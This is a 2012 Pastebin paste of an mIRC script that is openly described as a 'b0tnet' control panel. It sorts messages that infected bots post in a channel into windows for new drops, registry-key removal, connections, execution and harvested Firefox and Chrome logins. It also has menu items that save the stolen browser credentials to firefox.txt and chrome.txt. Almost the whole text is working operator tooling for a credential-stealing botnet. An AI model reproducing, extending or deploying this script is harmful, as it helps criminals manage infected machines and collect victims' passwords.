Nitro212

Untitled

May 25th, 2012
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 2.50 KB | None | 0 0
  1. alias saveFF {
  2.   var %total = $line(@firefox,0)
  3.   var %i = 1
  4.   while (%i <= %total) {
  5.     write firefox.txt $strip($gettok($line(@firefox,%i),2-,32))
  6.     inc %i
  7.   }
  8. }
  9. alias saveCrm {
  10.   var %total = $line(@firefox,0)
  11.   var %i = 1
  12.   while (%i <= %total) {
  13.     write chrome.txt $strip($gettok($line(@chrome,%i),2-,32))
  14.     inc %i
  15.   }
  16. }
  17.  
  18. alias bot_start {
  19.   window -n @bk
  20.   window -n @newdrop
  21.   window -n @chrome
  22.   window -n @firefox
  23.   window -n @bkI
  24.   window -n @conection
  25.   window -n @execute
  26.   echo -a 4All @Windows loaded minized.
  27. }
  28. on *:load:{
  29.   bot_start
  30. }
  31. ;;channel, status menu start
  32. menu channel,status {
  33.   b0tnet windows
  34.   .Open @window:{
  35.     bot_start
  36.   }
  37.   .Close @windows:{
  38.     close -@ @bk
  39.     close -@ @newdrop
  40.     close -@ @chrome
  41.     close -@ @firefox
  42.     close -@ @bkI
  43.     close -@ @conection
  44.     close -@ @execute
  45.  
  46.   }
  47. }
  48.  
  49. ;;@windows menu
  50. menu @execute {
  51.   &Clear:{
  52.     clear @execute
  53.   }
  54.   &Close:{
  55.     close -@ @execute
  56.   }
  57. }
  58. menu @conection {
  59.   &Clear:{
  60.     clear @conection
  61.   }
  62.   &Close:{
  63.     close -@ @conection
  64.   }
  65. }
  66. menu @bkI {
  67.   &Clear:{
  68.     clear @bkI
  69.   }
  70.   &Close:{
  71.     close -@ @bkI
  72.   }
  73. }
  74. menu @firefox {
  75.   &Clear:{
  76.     clear @firefox
  77.   }
  78.   &Close:{
  79.     close -@ @firefox
  80.   }
  81.   &Save Logins:{
  82.     saveFF
  83.     echo @firefox 4all firefox logins saved as firefox.txt in $mircdir
  84.   }
  85.   &Open firefox.txt:{
  86.     run $mircdir/firefox.txt
  87.   }
  88. }
  89. menu @chrome {
  90.   &Clear:{
  91.     clear @chrome
  92.   }
  93.   &Close:{
  94.     close -@ @chrome
  95.   }
  96.   &Save Logins:{
  97.     saveCrm
  98.     echo @chrome 4all chrome logins saved as chrome.txt in $mircdir
  99.   }
  100.   &Open chrome.txt:{
  101.     run $mircdir/chrome.txt
  102.   }
  103.  
  104. }
  105. menu @newdrop {
  106.   &Clear:{
  107.     clear @newdrop
  108.   }
  109.   &Close:{
  110.     close -@ @newdrop
  111.   }
  112. }
  113. menu @bk {
  114.   &Clear:{
  115.     clear @bk
  116.   }
  117.   &Close:{
  118.     close -@ @bk
  119.   }
  120. }
  121.  
  122. ;;on text event
  123. ;;@bk
  124. on *:text:*Removing registry key*:#:{
  125.   aline @bk $+($nick,:,$chr(32),$1-)
  126.   flash -r3
  127. }
  128.  
  129. ;;@newdrop
  130. on *:text:*New drop*:#:{
  131.   aline @newdrop $+($nick,:,$chr(32),$1-)
  132.   flash -r3
  133. }
  134.  
  135. ;;@bk -i
  136. on *:text:*Registry key removed*:#:{
  137.   aline @bkI $+($nick,:,$chr(32),$1-)
  138.   flash -r3
  139. }
  140.  
  141. ;;@connection
  142. on *:text:*connection*:#:{ aline @conection $+($nick,:,$chr(32),$1-)  }
  143.  
  144. ;;@chrome
  145. on *:text:*chrome*:#:{
  146.   aline @chrome $+($nick,:,$chr(32),$1-)
  147. }
  148.  
  149. ;;@firefox
  150. on *:text:*firefox*:#:{
  151.   aline @firefox $+($nick,:,$chr(32),$1-)
  152. }
  153.  
  154. ;;@execute
  155. on *:text:*execute*:#:{
  156.   aline @execute $+($nick,:,$chr(32),$1-)
  157. }
Advertisement
Add Comment
Please, Sign In to add comment